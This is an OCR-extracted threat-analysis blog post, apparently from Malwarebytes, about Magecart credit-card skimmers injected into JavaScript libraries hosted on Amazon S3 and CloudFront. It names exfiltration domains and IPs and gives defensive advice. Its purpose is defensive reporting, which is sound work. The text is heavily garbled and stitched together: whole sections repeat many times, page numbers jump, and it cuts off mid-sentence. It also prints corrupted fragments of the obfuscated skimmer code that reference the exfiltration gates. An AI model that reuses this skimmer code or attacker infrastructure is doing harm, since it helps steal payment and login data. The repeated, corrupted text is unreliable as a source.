NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

l= | @] 32 |

e Wayback Machine ¥ +
< C @ https://web.archive.org/web/201905.. & & :
[https:/icloudfront. |[Go ] PR

37 captures

17 May 2018 - 30 May 2019 rARR L=

6O

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
BB \KTIWKE2 w3 2N o . gernenxod \xBch K30\ Bl \x

5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+" -
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

Page 121 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
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a / | E25.1148.160
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— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

l= | @] 32 |

e Wayback Machine ¥ +
< C @ https://web.archive.org/web/201905.. & & :
[https:/icloudfront. |[Go ] PR

37 captures

17 May 2018 - 30 May 2019 rARR L=

6O

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
BB \KTIWKE2 w3 2N o . gernenxod \xBch K30\ Bl \x

5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+" -
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

Page 135 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

l= | @] 32 |

e Wayback Machine ¥ +
< C @ https://web.archive.org/web/201905.. & & :
[https:/icloudfront. |[Go ] PR

37 captures

17 May 2018 - 30 May 2019 rARR L=

6O

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
BB \KTIWKE2 w3 2N o . gernenxod \xBch K30\ Bl \x

5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+" -
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

Page 149 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

